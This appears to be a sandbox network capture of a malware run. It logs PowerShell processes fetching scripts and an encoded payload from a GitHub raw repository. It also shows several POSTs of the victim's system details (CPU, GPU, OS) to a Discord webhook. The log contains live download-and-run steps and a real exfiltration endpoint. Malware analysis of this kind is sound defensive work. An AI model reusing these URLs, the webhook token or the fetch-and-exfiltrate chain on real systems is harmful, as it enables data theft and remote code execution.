2024-09-16 17:32:41 UTC	64	IN	Data Raw: 33 34 39 35 72 61 79 67 77 69 34 67 79 72 68 75 61 77 65 72 61 77 65 72 61 2f 6d 61 69 6e 2f 67 61 62 65 72 5f 6d 6e 72 2e 74 78 74 20 2d 75 73 65 62 61 73 69 63 70 61 72 73 69 6e 67 29 27 0a Data Ascii: 3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing)'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49741	185.199.110.133	443	7796	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 17:32:41 UTC	222	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-09-16 17:32:41 UTC	897	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1442 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "191acb94fb4b222ff094d9ef4cb7033590f0cd67f7ee57add9f2c69343267e71" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: A50C:16E0:E8A0CB:102882A:66E86BB6 Accept-Ranges: bytes Date: Mon, 16 Sep 2024 17:32:41 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890033-NYC X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1726507962.621918,VS0,VE1 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: f4412aec49a92f70b1fcebe488d7657bc4f1298d Expires: Mon, 16 Sep 2024 17:37:41 GMT Source-Age: 1
2024-09-16 17:32:41 UTC	1378	IN	Data Raw: 73 6c 65 65 70 20 35 0a 0a 0a 23 20 52 65 74 72 69 65 76 65 20 43 50 55 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 0a 24 63 70 75 20 3d 20 47 65 74 2d 57 6d 69 4f 62 6a 65 63 74 20 2d 43 6c 61 73 73 20 57 69 6e 33 32 5f 50 72 6f 63 65 73 73 6f 72 20 7c 20 53 65 6c 65 63 74 2d 4f 62 6a 65 63 74 20 2d 50 72 6f 70 65 72 74 79 20 4e 61 6d 65 2c 20 4d 61 6e 75 66 61 63 74 75 72 65 72 2c 20 4e 75 6d 62 65 72 4f 66 43 6f 72 65 73 2c 20 4e 75 6d 62 65 72 4f 66 4c 6f 67 69 63 61 6c 50 72 6f 63 65 73 73 6f 72 73 0a 0a 23 20 52 65 74 72 69 65 76 65 20 47 50 55 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 0a 24 67 70 75 20 3d 20 47 65 74 2d 57 6d 69 4f 62 6a 65 63 74 20 2d 43 6c 61 73 73 20 57 69 6e 33 32 5f 56 69 64 65 6f 43 6f 6e 74 72 6f 6c 6c 65 72 20 7c 20 53 65 6c 65 63 74 2d Data Ascii: sleep 5# Retrieve CPU information$cpu = Get-WmiObject -Class Win32_Processor \| Select-Object -Property Name, Manufacturer, NumberOfCores, NumberOfLogicalProcessors# Retrieve GPU information$gpu = Get-WmiObject -Class Win32_VideoController \| Select-
2024-09-16 17:32:41 UTC	64	IN	Data Raw: 33 34 39 35 72 61 79 67 77 69 34 67 79 72 68 75 61 77 65 72 61 77 65 72 61 2f 6d 61 69 6e 2f 67 61 62 65 72 5f 6d 6e 72 2e 74 78 74 20 2d 75 73 65 62 61 73 69 63 70 61 72 73 69 6e 67 29 27 0a Data Ascii: 3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing)'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49744	162.159.128.233	443	7384	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 17:32:49 UTC	311	OUT	POST /api/webhooks/1285282939239927849/BNsmidplEg4Azwj9_Fy7g4pAXIfhGmcFM3k3HiNtdWnIODC4-c2LFiKsOg4Pe_nPc5yd HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Content-Type: application/json Host: discord.com Content-Length: 269 Connection: Keep-Alive
2024-09-16 17:32:49 UTC	269	OUT	Data Raw: 7b 0d 0a 20 20 20 20 22 63 6f 6e 74 65 6e 74 22 3a 20 20 22 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 5c 6e 2a 2a 6a 6f 6e 65 73 2a 2a 20 73 79 73 74 65 6d 20 6f 6e 6c 69 6e 65 5c 6e 5c 6e 2a 2a 47 50 55 3a 2a 2a 20 31 47 45 54 58 47 42 4e 36 5c 6e 2a 2a 43 50 55 3a 2a 2a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 5c 6e 2a 2a 43 50 55 20 43 6f 72 65 73 3a 2a 2a 20 34 20 34 5c 6e 2a 2a 4f 53 3a 2a 2a 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 5c 6e 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: { "content": "================================\nuser system online\n\nGPU: 1GETXGBN6\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nCPU Cores: 4 4\nOS: Windows 10 Pro\n======================
2024-09-16 17:32:49 UTC	1369	IN	HTTP/1.1 404 Not Found Date: Mon, 16 Sep 2024 17:32:49 GMT Content-Type: application/json Content-Length: 45 Connection: close set-cookie: __dcfduid=b19dd722745111ef852d86e91110af28; Expires=Sat, 15-Sep-2029 17:32:49 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 3 x-ratelimit-reset: 1726507971 x-ratelimit-reset-after: 1 via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qFnDiQoKTNL03UlMl%2Fwd7i5Rtt38cWUJvdEslU5FSFH4ypBrYW1sreWRpljTF9OpkG3Oyzil%2FWbsXNRaNkc%2BVRl5MMytzyOk5%2Bf7sOr0v6wkeyjgH13vNpMc%2BlkO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Set-Cookie: __sdcfduid=b19dd722745111ef852d86e91110af28a63f3228404aa9cd47a5d0bb39c87e1b7e57e9daa3f8d57a6e691a9e417b2a64; Expires=Sat, 15-Sep-2029 17:32:49 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Set-Cookie: __cfruid=cdc294da783b55ce65d3d0a7e028cca3a2c3bcee-1726507969; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
2024-09-16 17:32:49 UTC	211	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 63 66 75 76 69 64 3d 36 6a 79 72 74 72 72 4e 62 64 65 45 41 78 45 53 75 78 58 30 66 35 43 74 62 64 54 53 73 45 64 42 5a 42 4a 4d 6c 55 76 41 53 5f 6b 2d 31 37 32 36 35 30 37 39 36 39 33 30 36 2d 30 2e 30 2e 31 2e 31 2d 36 30 34 38 30 30 30 30 30 3b 20 70 61 74 68 3d 2f 3b 20 64 6f 6d 61 69 6e 3d 2e 64 69 73 63 6f 72 64 2e 63 6f 6d 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 63 34 32 39 39 31 37 38 63 35 34 34 32 66 34 2d 45 57 52 0d 0a 0d 0a Data Ascii: Set-Cookie: _cfuvid=6jyrtrrNbdeEAxESuxX0f5CtbdTSsEdBZBJMlUvAS_k-1726507969306-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8c4299178c5442f4-EWR
2024-09-16 17:32:49 UTC	45	IN	Data Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d Data Ascii: {"message": "Unknown Webhook", "code": 10015}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49743	162.159.128.233	443	7400	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 17:32:49 UTC	311	OUT	POST /api/webhooks/1285282939239927849/BNsmidplEg4Azwj9_Fy7g4pAXIfhGmcFM3k3HiNtdWnIODC4-c2LFiKsOg4Pe_nPc5yd HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Content-Type: application/json Host: discord.com Content-Length: 269 Connection: Keep-Alive
2024-09-16 17:32:49 UTC	269	OUT	Data Raw: 7b 0d 0a 20 20 20 20 22 63 6f 6e 74 65 6e 74 22 3a 20 20 22 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 5c 6e 2a 2a 6a 6f 6e 65 73 2a 2a 20 73 79 73 74 65 6d 20 6f 6e 6c 69 6e 65 5c 6e 5c 6e 2a 2a 47 50 55 3a 2a 2a 20 31 47 45 54 58 47 42 4e 36 5c 6e 2a 2a 43 50 55 3a 2a 2a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 5c 6e 2a 2a 43 50 55 20 43 6f 72 65 73 3a 2a 2a 20 34 20 34 5c 6e 2a 2a 4f 53 3a 2a 2a 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 5c 6e 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: { "content": "================================\nuser system online\n\nGPU: 1GETXGBN6\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nCPU Cores: 4 4\nOS: Windows 10 Pro\n======================
2024-09-16 17:32:49 UTC	1237	IN	HTTP/1.1 404 Not Found Date: Mon, 16 Sep 2024 17:32:49 GMT Content-Type: application/json Content-Length: 45 Connection: close set-cookie: __dcfduid=b19c2e72745111efb77a2ee77874c18a; Expires=Sat, 15-Sep-2029 17:32:49 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1726507970 x-ratelimit-reset-after: 1 via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CoiZ2FXPYiD2KVaM7hHv1ntj4ns%2FNqDI%2B6XOiwDL%2BMw9HqUG%2FmSNeekEqeDCIBh799drwh4c0%2FP46lSVck6ASvgwYRB5SuKqn%2BaTWkd7FZSeSsazh3CKm7a%2FFBWX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Set-Cookie: __sdcfduid=b19c2e72745111efb77a2ee77874c18a421aac5c7a07fa02966dbaaf5aadfb88ba179cddb4fbfe9aecbb336882b88c0f; Expires=Sat, 15-Sep-2029 17:32:49 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
2024-09-16 17:32:49 UTC	347	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 5f 63 66 72 75 69 64 3d 63 64 63 32 39 34 64 61 37 38 33 62 35 35 63 65 36 35 64 33 64 30 61 37 65 30 32 38 63 63 61 33 61 32 63 33 62 63 65 65 2d 31 37 32 36 35 30 37 39 36 39 3b 20 70 61 74 68 3d 2f 3b 20 64 6f 6d 61 69 6e 3d 2e 64 69 73 63 6f 72 64 2e 63 6f 6d 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 63 66 75 76 69 64 3d 47 36 50 52 72 39 37 53 79 7a 33 4a 36 54 39 62 52 51 5f 46 51 62 6c 62 41 66 4d 35 71 44 39 76 38 75 4f 42 48 30 30 67 5f 6b 59 2d 31 37 32 36 35 30 37 39 36 39 32 39 33 2d 30 2e 30 2e 31 2e 31 2d 36 30 34 38 30 30 30 30 30 3b 20 70 61 74 68 3d 2f 3b 20 64 6f 6d 61 69 6e 3d 2e 64 69 73 63 6f 72 Data Ascii: Set-Cookie: __cfruid=cdc294da783b55ce65d3d0a7e028cca3a2c3bcee-1726507969; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneSet-Cookie: _cfuvid=G6PRr97Syz3J6T9bRQ_FQblbAfM5qD9v8uOBH00g_kY-1726507969293-0.0.1.1-604800000; path=/; domain=.discor
2024-09-16 17:32:49 UTC	45	IN	Data Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d Data Ascii: {"message": "Unknown Webhook", "code": 10015}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49742	162.159.128.233	443	7392	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 17:32:49 UTC	311	OUT	POST /api/webhooks/1285282939239927849/BNsmidplEg4Azwj9_Fy7g4pAXIfhGmcFM3k3HiNtdWnIODC4-c2LFiKsOg4Pe_nPc5yd HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Content-Type: application/json Host: discord.com Content-Length: 269 Connection: Keep-Alive
2024-09-16 17:32:49 UTC	269	OUT	Data Raw: 7b 0d 0a 20 20 20 20 22 63 6f 6e 74 65 6e 74 22 3a 20 20 22 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 5c 6e 2a 2a 6a 6f 6e 65 73 2a 2a 20 73 79 73 74 65 6d 20 6f 6e 6c 69 6e 65 5c 6e 5c 6e 2a 2a 47 50 55 3a 2a 2a 20 31 47 45 54 58 47 42 4e 36 5c 6e 2a 2a 43 50 55 3a 2a 2a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 5c 6e 2a 2a 43 50 55 20 43 6f 72 65 73 3a 2a 2a 20 34 20 34 5c 6e 2a 2a 4f 53 3a 2a 2a 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 5c 6e 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: { "content": "================================\nuser system online\n\nGPU: 1GETXGBN6\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nCPU Cores: 4 4\nOS: Windows 10 Pro\n======================
2024-09-16 17:32:49 UTC	1369	IN	HTTP/1.1 404 Not Found Date: Mon, 16 Sep 2024 17:32:49 GMT Content-Type: application/json Content-Length: 45 Connection: close set-cookie: __dcfduid=b19ec5ec745111efa13b42ae56fae071; Expires=Sat, 15-Sep-2029 17:32:49 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 2 x-ratelimit-reset: 1726507971 x-ratelimit-reset-after: 2 via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yF5oGHcD%2BsRxiuFYonTePbVQHFJOUEy%2BITsdsnlYvAKzHUrIS6Xtd6%2F9YruWWWlh5R2YDRP7MF%2F%2BVZ36tJWbMJP2WMCMwpxQddwqE5LtEyvmJM329MZDpO8a3v0n"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Set-Cookie: __sdcfduid=b19ec5ec745111efa13b42ae56fae07175b899752e50182a5c7c01da892ba0f829982664687b4555f32aca7a00d952ca; Expires=Sat, 15-Sep-2029 17:32:49 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Set-Cookie: __cfruid=cdc294da783b55ce65d3d0a7e028cca3a2c3bcee-1726507969; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
2024-09-16 17:32:49 UTC	211	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 63 66 75 76 69 64 3d 6d 57 4f 4c 4b 32 78 49 71 6c 34 69 57 67 6f 6d 75 66 4c 75 43 39 65 7a 77 51 70 64 53 57 30 6c 39 76 58 76 34 69 58 31 53 57 63 2d 31 37 32 36 35 30 37 39 36 39 33 30 33 2d 30 2e 30 2e 31 2e 31 2d 36 30 34 38 30 30 30 30 30 3b 20 70 61 74 68 3d 2f 3b 20 64 6f 6d 61 69 6e 3d 2e 64 69 73 63 6f 72 64 2e 63 6f 6d 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 63 34 32 39 39 31 37 63 61 39 66 38 63 31 31 2d 45 57 52 0d 0a 0d 0a Data Ascii: Set-Cookie: _cfuvid=mWOLK2xIql4iWgomufLuC9ezwQpdSW0l9vXv4iX1SWc-1726507969303-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8c429917ca9f8c11-EWR
2024-09-16 17:32:49 UTC	45	IN	Data Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d Data Ascii: {"message": "Unknown Webhook", "code": 10015}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49745	162.159.128.233	443	7796	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 17:32:49 UTC	311	OUT	POST /api/webhooks/1285282939239927849/BNsmidplEg4Azwj9_Fy7g4pAXIfhGmcFM3k3HiNtdWnIODC4-c2LFiKsOg4Pe_nPc5yd HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Content-Type: application/json Host: discord.com Content-Length: 269 Connection: Keep-Alive
2024-09-16 17:32:49 UTC	269	OUT	Data Raw: 7b 0d 0a 20 20 20 20 22 63 6f 6e 74 65 6e 74 22 3a 20 20 22 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 5c 6e 2a 2a 6a 6f 6e 65 73 2a 2a 20 73 79 73 74 65 6d 20 6f 6e 6c 69 6e 65 5c 6e 5c 6e 2a 2a 47 50 55 3a 2a 2a 20 31 47 45 54 58 47 42 4e 36 5c 6e 2a 2a 43 50 55 3a 2a 2a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 5c 6e 2a 2a 43 50 55 20 43 6f 72 65 73 3a 2a 2a 20 34 20 34 5c 6e 2a 2a 4f 53 3a 2a 2a 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 5c 6e 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: { "content": "================================\nuser system online\n\nGPU: 1GETXGBN6\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nCPU Cores: 4 4\nOS: Windows 10 Pro\n======================
2024-09-16 17:32:49 UTC	1237	IN	HTTP/1.1 404 Not Found Date: Mon, 16 Sep 2024 17:32:49 GMT Content-Type: application/json Content-Length: 45 Connection: close set-cookie: __dcfduid=b1c70f7a745111efa99dc6c10b26afef; Expires=Sat, 15-Sep-2029 17:32:49 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 1 x-ratelimit-reset: 1726507971 x-ratelimit-reset-after: 2 via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vhHnCDDHgn%2BmCC%2F6Nr8E%2FKrjHXGfR776%2BvPy9BEevEIdnGA7HWNVLZJlZvxEhSQVoAwxXM6vP3soNZ6JAuY9AgP0eEWIg0vXdYRqgYp0kCjj3y%2F%2Bg0kVg%2B7DrkjW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Set-Cookie: __sdcfduid=b1c70f7a745111efa99dc6c10b26afef20f01330e493900815bf5447df22c533bedfad5241d35dcfb082162ef6c027ad; Expires=Sat, 15-Sep-2029 17:32:49 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
2024-09-16 17:32:49 UTC	347	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 5f 63 66 72 75 69 64 3d 63 64 63 32 39 34 64 61 37 38 33 62 35 35 63 65 36 35 64 33 64 30 61 37 65 30 32 38 63 63 61 33 61 32 63 33 62 63 65 65 2d 31 37 32 36 35 30 37 39 36 39 3b 20 70 61 74 68 3d 2f 3b 20 64 6f 6d 61 69 6e 3d 2e 64 69 73 63 6f 72 64 2e 63 6f 6d 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 63 66 75 76 69 64 3d 48 43 62 32 32 47 65 30 74 4e 76 37 6b 31 67 77 4f 70 61 55 79 72 54 35 6a 53 66 64 7a 4a 78 30 31 43 52 61 76 66 74 47 33 71 63 2d 31 37 32 36 35 30 37 39 36 39 35 36 38 2d 30 2e 30 2e 31 2e 31 2d 36 30 34 38 30 30 30 30 30 3b 20 70 61 74 68 3d 2f 3b 20 64 6f 6d 61 69 6e 3d 2e 64 69 73 63 6f 72 Data Ascii: Set-Cookie: __cfruid=cdc294da783b55ce65d3d0a7e028cca3a2c3bcee-1726507969; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneSet-Cookie: _cfuvid=HCb22Ge0tNv7k1gwOpaUyrT5jSfdzJx01CRavftG3qc-1726507969568-0.0.1.1-604800000; path=/; domain=.discor
2024-09-16 17:32:49 UTC	45	IN	Data Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d Data Ascii: {"message": "Unknown Webhook", "code": 10015}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49757	185.199.110.133	443	2676	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 17:32:58 UTC	227	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-09-16 17:32:58 UTC	900	IN	HTTP/1.1 200 OK Connection: close Content-Length: 159293 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "80ad5dac8b21f93f5913af03c53e98e879731d41370452cf941cf04d26ae655d" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 3E58:16D6:EF199A:10A43C8:66E869CE Accept-Ranges: bytes Date: Mon, 16 Sep 2024 17:32:58 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740027-EWR X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1726507979.613549,VS0,VE55 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 0ef2e6ea2caeeedb5264edf3438cd97dc6ec8be4 Expires: Mon, 16 Sep 2024 17:37:58 GMT Source-Age: 0
2024-09-16 17:32:58 UTC	1378	IN	Data Raw: 24 62 79 74 65 73 20 3d 20 40 28 30 78 32 34 2c 20 30 78 30 30 2c 20 30 78 35 33 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 30 2c 20 30 78 30 30 2c 20 30 78 32 32 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 35 33 2c 20 30 78 30 30 2c 20 30 78 37 39 Data Ascii: $bytes = @(0x24, 0x00, 0x53, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x72, 0x00, 0x63, 0x00, 0x65, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x40, 0x00, 0x22, 0x00, 0x0A, 0x00, 0x75, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20, 0x00, 0x53, 0x00, 0x79
